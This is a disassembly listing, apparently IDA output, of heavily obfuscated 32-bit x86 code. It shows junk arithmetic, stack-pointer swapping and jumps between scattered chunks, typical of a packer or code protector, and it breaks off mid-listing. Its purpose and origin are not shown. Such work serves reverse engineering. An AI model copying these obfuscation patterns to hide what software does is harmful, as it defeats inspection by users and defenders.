loc_5A9FCC ; --------------------------------------------------------------------------- loc_5A12D6: ; CODE XREF: sub_5AA2D1-10F76j shr ecx, 2 not ecx sub ecx, 0C638BB3Ch jmp loc_59F894 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A12E6 proc near ; CODE XREF: sub_59F1F3+84C1j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059BC76 SIZE 00000021 BYTES push ebx push dword ptr [esp+4] pop ebx pop [esp+4+var_4] pop esp jmp loc_59BC76 sub_5A12E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A12F5 proc near ; CODE XREF: sub_5AA2D1+9B2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A08E1 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A248B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A60B1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AFA76 SIZE 00000008 BYTES push ebp push 2 push [esp+8+var_8] pop ebp jmp loc_5A248B sub_5A12F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A1304: ; CODE XREF: sub_5A2E28-9CC1j sub esi, 470B5CBCh jp loc_5A5EDE add esi, 4606C15Bh mov ebx, esi pop esi add ebx, eax mov ecx, [ebx] pop ebx loc_5A131E: ; CODE XREF: sub_5A5824-1C2Bj xor ebx, 0FAB7315Dh add ecx, ebx pop ebx add ecx, edi jmp loc_5A383E ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5A132E: ; CODE XREF: sub_5A10E3+CC62j pop edx pop ebx push edi jmp loc_5A5B8C ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5A1336: ; CODE XREF: sub_5A5B27+7029j add ebx, edi jmp loc_5A2001 ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A133D: ; CODE XREF: sub_5AA2D1-DB49j add edx, 0FFFFFFFFh push esi mov esi, 0E51AD12Ch jmp loc_5AE30B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A134B: ; CODE XREF: sub_5A477C+391Aj pop edx xchg edi, [esp+0] mov esp, [esp+0] movsx ecx, ax jmp loc_59C803 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C1E9 loc_5A135A: ; CODE XREF: sub_59C1E9+CDFEj and esi, edi pop edi shl esi, 2 xor esi, 0CC100414h add ebx, esi pop esi add ebx, 4 xchg ebx, [esp+4+var_4] pop esp jmp loc_59AEE3 ; END OF FUNCTION CHUNK FOR sub_59C1E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5A1375: ; CODE XREF: sub_5A3992+923j sub ebx, 201A02C9h push 6956h mov [esp+0Ch+var_C], edi mov edi, 3AE4021Ch jmp loc_59B604 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A138D: ; CODE XREF: sub_5AA2D1-36E8j push edx jmp loc_5A19BF ; --------------------------------------------------------------------------- loc_5A1393: ; CODE XREF: sub_5AA2D1+2CE1j mov ecx, esp jmp loc_59B7CF ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A139A: ; CODE XREF: sub_5A2E28+30C7j mov edi, esp push ebx mov ebx, 0BA14739h inc ebx jmp loc_59B165 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A13A8: ; CODE XREF: sub_59A479:loc_5AB4ACj xor eax, 4FEC8778h jmp loc_5A793F ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A13B2: ; CODE XREF: sub_59A9E9:loc_5ABFADj xor edx, 0AC5DFB13h mov esi, edx jmp loc_5A2AEA ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5607 loc_5A13BF: ; CODE XREF: sub_5A5607-4D93j dec esi xor esi, 483D5DDDh add edx, esi push dword ptr [esp+0] jmp loc_59DCA7 ; END OF FUNCTION CHUNK FOR sub_5A5607 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A13D0: ; CODE XREF: sub_5A63DC+478j add esp, 4 add esp, 4 and edx, 32773A5Ah jb loc_5A529C add edx, 1AAB65F2h not edx push 240h mov [esp+8+var_8], eax mov eax, 5F692199h add edx, eax mov eax, [esp+8+var_8] add esp, 4 push edx add [esp+8+var_8], 6A1B7083h pop ebp sub ebp, 6A1B7083h pop edx xor eax, ebp push dword ptr [esp+0] pop ebp jmp sub_5A6F9C ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A141D: ; CODE XREF: sub_59E94B+CC0Fj push 263E0B53h jmp loc_59C566 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A1427: ; CODE XREF: sub_5AA2D1+2B51j push ax jmp loc_5A467E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8CA3 loc_5A142E: ; CODE XREF: sub_5A8CA3+3j push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] jmp sub_59BB19 ; END OF FUNCTION CHUNK FOR sub_5A8CA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A1448: ; CODE XREF: sub_59C979+6B57j add ebx, 4 xchg ebx, [esp+6+var_6] pop esp push ecx push dword ptr [esp+6+var_2] jmp loc_59C7CA ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_5A145C: ; CODE XREF: sub_5AD84A-10B6Aj neg ebx jmp loc_599CFB ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A1463: ; CODE XREF: sub_5AA2D1-D06Ej add ebx, 2 jmp loc_59EC18 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5A146E: ; CODE XREF: sub_59ED98-C31j pop ebx shl dl, 4 xor dl, 0EDh xor dl, 6Fh jmp loc_5AEC4E ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3CF9 loc_5A147D: ; CODE XREF: sub_5A3CF9+13j mov [esp+4+var_4], ebp push 4 jmp loc_59DDD7 ; END OF FUNCTION CHUNK FOR sub_5A3CF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_5A148A: ; CODE XREF: sub_59FB1A+2j mov bl, 95h or cl, bl jmp loc_59D3DB ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A1493: ; CODE XREF: sub_5ADD33-71E0j add eax, 58F71C6Dh mov esi, [esp+0Ch+var_C] add esp, 4 add edx, eax jmp loc_5A7F18 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A14A8: ; CODE XREF: sub_5AA2D1-573Cj push ecx push [esp+14h+var_10] pop ecx pop [esp+14h+var_14] jmp loc_5AFC7E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A14B6: ; CODE XREF: sub_5ADD33-23D9j xchg edi, [esp+0] pop esp sub esp, 4 mov [esp+0], eax mov eax, esp sub esp, 4 mov [esp+4+var_4], ebp push ebx mov ebx, 7FE5AFAh or ebx, 7C314295h jmp loc_5A9F47 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A14DC: ; CODE XREF: sub_5AA2D1-E8D3j mov [esp+0], eax pop esi jmp loc_5A41EA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A14E5: ; CODE XREF: sub_5A7BA0-DB4Ej or [edi+1Ch], edx jmp loc_59D64C ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A96D8 loc_5A14ED: ; CODE XREF: sub_5A96D8-CEF8j push ecx mov ecx, 6ABC578Dh mov ebx, 5CDB681Eh xor ebx, ecx mov ecx, [esp+0Ch+var_C] add esp, 4 shl ebx, 5 shl ebx, 7 jmp loc_5AED1F ; END OF FUNCTION CHUNK FOR sub_5A96D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A150B: ; CODE XREF: sub_5992DA+960j sub ebx, 8BAB19EEh sub edx, 413417EBh jmp loc_5A8C43 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A151C: ; CODE XREF: sub_5A118F+CC9Fj shl ah, 2 jns loc_5A0F01 or ah, 0C0h jmp loc_5A162C ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- push edx mov dh, al push ebx ; =============== S U B R O U T I N E ======================================= sub_5A1531 proc near ; CODE XREF: sub_5AA2D1:loc_5A8B85j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 005A6C68 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005A9705 SIZE 0000000C BYTES push ebp mov ebp, 30702F98h dec ebp neg ebp jmp loc_5A9705 sub_5A1531 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A153F: ; CODE XREF: sub_59C979+5C56j push 78AB581Fh mov edi, [esp+0Eh+var_10+2] add esp, 4 add dword ptr [esp+0Ah+var_2], edi pop edi mov ebp, [esp+6+var_6] add esp, 4 pop eax push ebp jmp loc_59C4C3 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5AF2 loc_5A155F: ; CODE XREF: sub_5A5AF2+7FC1j shl ah, 3 sub ah, 42h add bl, ah jmp loc_5A088B ; END OF FUNCTION CHUNK FOR sub_5A5AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC2C0 loc_5A156C: ; CODE XREF: sub_5AC2C0-F724j mov esi, [esp+0Ch+var_C] add esp, 4 xor edi, 66EE4300h sub ebx, edi jmp loc_5AABFC ; END OF FUNCTION CHUNK FOR sub_5AC2C0 ; =============== S U B R O U T I N E ======================================= sub_5A157F proc near ; DATA XREF: sdfs____:00598E9Co push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp+0], cl pushf jmp loc_59910F sub_5A157F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A158E: ; CODE XREF: sub_5A77D5+4366j push 40h pop edx and ecx, edx mov edx, [esp+0] push edi jmp loc_59B510 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A6F loc_5A159F: ; CODE XREF: sub_599A6F+A324j sub bh, 1 add bh, 98h jmp loc_5AE5A0 ; END OF FUNCTION CHUNK FOR sub_599A6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A15AA: ; CODE XREF: sub_5AE4A9-14B03j ; sub_59D6B8+B664j sub ebp, 4 xchg ebp, [esp+18h+var_18] pop esp mov [esp+14h+var_14], ebx push esp mov ebx, [esp+18h+var_18] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+1Ch+var_1C] pop esp add ebx, 4 jmp loc_5AABCE ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- loc_5A15D6: ; CODE XREF: sdfs____:005AB56Aj mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 6BFD2CA2h shl edx, 6 jmp loc_59BC25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE9FA loc_5A15F5: ; CODE XREF: sub_5AE9FA-318Ej or edx, 6EC2455Fh jmp loc_5AD1F6 ; END OF FUNCTION CHUNK FOR sub_5AE9FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A1600: ; CODE XREF: sub_5992DA+9C6Fj push esi jmp loc_59EB26 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD13 loc_5A1606: ; CODE XREF: sub_5ADD13-120D0j pop [esp-4+arg_0] pop esp mov [esp-0Ch+arg_8], ecx push esp pop ecx push edi mov edi, 5F8535ECh inc edi push ecx jmp sub_5A1FAD ; END OF FUNCTION CHUNK FOR sub_5ADD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A68A5 loc_5A161C: ; CODE XREF: sub_5A5EFF-780Ej ; sub_5A68A5+832Dj mov [esp+0], edx push dword ptr [esp+4] pop edx pop dword ptr [esp+0] jmp loc_5AB06E ; END OF FUNCTION CHUNK FOR sub_5A68A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A162C: ; CODE XREF: sub_5AB08D-107E0j ; sub_5A118F+399j push esp pop [esp+0Ch+var_C] push 4F43h mov [esp+0Ch+var_C], ebp mov ebp, 4 jmp loc_5A075F ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- loc_5A1642: ; CODE XREF: sdfs____:0059C5CAj xor [esp], ecx xor ecx, [esp] pop esp push esi mov esi, 4 push edx mov edx, 129B0B80h sub edi, edx jmp loc_59C578 ; --------------------------------------------------------------------------- loc_5A165C: ; CODE XREF: sdfs____:005AE81Fj sub ebx, ecx pop ecx add esi, 6B161331h add esi, ebx jmp loc_59A664 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C2A6 loc_5A166C: ; CODE XREF: sub_59C2A6+F1F6j xor ebp, esi pop esi add edx, 7951785Eh add edx, ebp jmp loc_5A86BA ; END OF FUNCTION CHUNK FOR sub_59C2A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A167C: ; CODE XREF: sub_5AA2D1-96C8j add esp, 4 push ecx mov ecx, ebx jmp loc_59FF0E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A168A: ; CODE XREF: sdfs____:005A1AF1j neg eax jp loc_59A6CF neg eax jp loc_5A44A2 not eax ; =============== S U B R O U T I N E ======================================= sub_5A169C proc near ; CODE XREF: sub_5AAE5E+1EB8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A8CEF SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AA651 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, esp jmp loc_5AA651 sub_5A169C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DE4B loc_5A16AC: ; CODE XREF: sub_59DE4B+E9E3j mov edx, 17A4413Eh add ebp, edx jmp loc_59BF49 ; END OF FUNCTION CHUNK FOR sub_59DE4B ; =============== S U B R O U T I N E ======================================= sub_5A16B8 proc near ; DATA XREF: sdfs____:00598EDCo var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059933C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059A282 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059A7F4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059AC7A SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059AE0A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059D944 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059F140 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A0B88 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A38AE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A407D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A44CC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A49EA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A4C53 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A5D4A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A65B3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A6C19 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A7B16 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA31A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AA3FC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005AA53F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB4BC SIZE 00000055 BYTES ; FUNCTION CHUNK AT 005AB8DD SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005ABC4E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005AC466 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AE59B SIZE 00000005 BYTES mov cx, [esp+0] jmp loc_59AE0A sub_5A16B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F2D1 loc_5A16C1: ; CODE XREF: sub_59F2D1-251Bj ; sub_5A3992-5F4Dj pop edx push ebp push [esp+8+var_4] mov ebp, [esp+0Ch+var_C] add esp, 4 jmp loc_599222 ; END OF FUNCTION CHUNK FOR sub_59F2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9CAE loc_5A16D5: ; CODE XREF: sub_5A9CAE-1062Aj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A9CAE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5A16DA: ; CODE XREF: sub_5AD6D4-8372j xchg eax, [esp+0Ch+var_C] pop esp add esi, ebp pop ebp jmp loc_59B13E ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A16E6: ; CODE XREF: sub_59EE3E-433Dj not edi xor edi, 4777641Ch jnz loc_59A33B jmp loc_5A9823 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- push 4 pop ecx add ebx, ecx or al, 0Ah ; START OF FUNCTION CHUNK FOR sub_599C9B loc_5A1703: ; CODE XREF: sub_599C9B+B3E7j add ebx, 6D8C6A16h jmp loc_5AA411 ; END OF FUNCTION CHUNK FOR sub_599C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A170E: ; CODE XREF: sub_59EE3E+3Fj push 6F671B4Eh jmp loc_59AAFF ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A1718: ; CODE XREF: sub_5A118F+30D6j and bl, 0E6h sub esp, 2 jmp loc_59C6B0 ; END OF FUNCTION CHUNK FOR sub_5A118F ; =============== S U B R O U T I N E ======================================= sub_5A1726 proc near ; DATA XREF: sdfs____:00598F50o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A0716 SIZE 0000000D BYTES lodsd push ebx mov ebx, 35F64FCAh inc ebx xor ebx, 70C848D9h sub eax, ebx jmp loc_5A0716 sub_5A1726 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A173B: ; CODE XREF: sub_5A580F-850Dj push esp jmp loc_5A1FC3 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- loc_5A1741: ; CODE XREF: sdfs____:0059A3BBj mov ecx, 65A4197Fh add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_5ACCB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A1756: ; CODE XREF: sub_59C979+CD4Dj jmp loc_5A99EC ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A175B: ; CODE XREF: sub_5A79BE-9FB4j sub esi, 74365h sub edx, esi mov esi, [esp-4+arg_0] jmp loc_5A9457 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A176B: ; CODE XREF: sub_5A503A-8843j ; sub_5A8931+8E7j add edx, 16AF4873h pop esi sub edx, 4 push edx push dword ptr [esp+4] mov edx, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] mov esp, [esp+0] mov [esp+0], edi mov edi, 35650A6Ch xchg eax, edi push eax not [esp+4+var_4] pop eax xchg eax, edi dec edi jmp loc_5A19C9 ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- loc_5A179E: ; CODE XREF: sdfs____:005A30ACj push esi mov esi, 4 mov ecx, esi pop esi jmp loc_5A18FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A17AC: ; CODE XREF: sub_5AA2D1-EC48j inc eax inc eax not eax or eax, 48725A5Bh xor eax, 0FBE797AAh sub edi, eax pop eax push ecx mov ecx, 51BF1693h add ecx, 0F75E059Dh sub edi, ecx pop ecx push 2D2h mov [esp+4+var_4], esi push 6C8C0070h pop esi push esi jmp loc_59FFAC ; --------------------------------------------------------------------------- loc_5A17E0: ; CODE XREF: sub_5AA2D1+2D23j mov [esp+8+var_8], eax mov eax, 18EDCFDBh sub esp, 4 mov [esp+0Ch+var_C], eax pop esi pop eax push ebp jmp loc_5A8CB9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A17F9: ; CODE XREF: sub_5A0FFF-5D20j sub ecx, 44544F92h add ecx, edi add ecx, 44544F92h sub ecx, 50F312EDh sub ecx, 1C874EB0h push edx push ebx jmp loc_5AB44D ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6494 loc_5A181A: ; CODE XREF: sub_5A6494+491Cj add eax, 4 add eax, 4 push eax jmp loc_5AC6DB ; END OF FUNCTION CHUNK FOR sub_5A6494 ; --------------------------------------------------------------------------- loc_5A182A: ; CODE XREF: sdfs____:005A9291j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi push 217Fh mov [esp], edx push ebx jmp loc_5AF73D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A1845: ; CODE XREF: sub_59D6B8-270Ej xor eax, 0E801DBF5h sub edi, eax pop eax jmp loc_5AD2D3 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A1852: ; CODE XREF: sub_5B01F7-16278j pop edi jmp loc_59B805 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5A1858: ; CODE XREF: sub_5A4E04+784Cj add esp, 4 and ebp, 65670E4Bh dec ebp sub ebp, 9EECEB6h sub eax, ebp pop ebp add eax, 4D7716DAh jmp loc_5AD7DC ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A1878: ; CODE XREF: sub_5A77D5+7DE1j xchg edx, [esp+8+var_8] pop esp add eax, 6F234138h add eax, ebx sub eax, 6F234138h jmp loc_5A1C1D ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5735 loc_5A188D: ; CODE XREF: sub_5A5735+Ej add esi, 4 sub esi, 4 push 32B7h mov [esp+8+var_8], esi push [esp+8+var_4] jmp loc_5A5CD0 ; END OF FUNCTION CHUNK FOR sub_5A5735 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A18A7: ; CODE XREF: sub_5A4D9D-97E4j neg eax jge loc_5A38EC shl eax, 1 jz loc_5B00AA xor eax, 7CC0FABEh ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; START OF FUNCTION CHUNK FOR sub_5A4CF3 loc_5A18BC: ; CODE XREF: sub_5A4CF3-29Cj pop esp mov [esp+0], esp jmp loc_5A54AD ; END OF FUNCTION CHUNK FOR sub_5A4CF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A18C5: ; CODE XREF: sub_5B01F7-12E21j mov ebx, 713A6EBh sub esp, 4 mov [esp+1Eh+var_20+2], edx mov edx, 1DC62A7Ch push edi mov edi, 6C9D716Dh xor edx, edi jmp loc_5A591D ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_5A18E2: ; CODE XREF: sub_5A3B60-7B78j push 6506h jmp loc_5A4AFB ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A18EC: ; CODE XREF: sub_5ADD33-1707j mov [esp+0], edx push eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; =============== S U B R O U T I N E ======================================= sub_5A18F6 proc near ; CODE XREF: sub_5A405F-17DEj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = word ptr 8 ; FUNCTION CHUNK AT 005995C2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A09CB SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005A111F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A373C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A3EDA SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005A4D38 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A5EB6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A6AD8 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A9925 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A9A19 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A9CFF SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005AA8EB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AB0EC SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005AC59C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE5AA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AEFD5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AFD5F SIZE 0000000A BYTES push ebp jmp loc_5A111F sub_5A18F6 endp ; --------------------------------------------------------------------------- loc_5A18FC: ; CODE XREF: sdfs____:005A17A7j add eax, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_5AEDBC ; --------------------------------------------------------------------------- loc_5A1925: ; CODE XREF: sdfs____:005A4292j mov edx, esp sub esp, 4 mov [esp], ecx mov ecx, 11BB00ECh shr ecx, 4 dec ecx jmp loc_5A87D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A193E: ; CODE XREF: sub_5AA2D1-E803j mov [esp-8+arg_4], ecx push edx jmp loc_59A196 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5A1947: ; CODE XREF: sub_5AD6D4+1E4j mov [esp+4+var_4], edi mov edi, 748040A3h xor edi, 62C121B7h xor edi, 1A075657h mov ebx, edi pop edi inc ebx jmp loc_5A2F68 ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59982C loc_5A1964: ; CODE XREF: sub_59982C+6C49j push 2BF4h mov [esp+4+var_4], edi push 1E8h jmp loc_5AEDE2 ; END OF FUNCTION 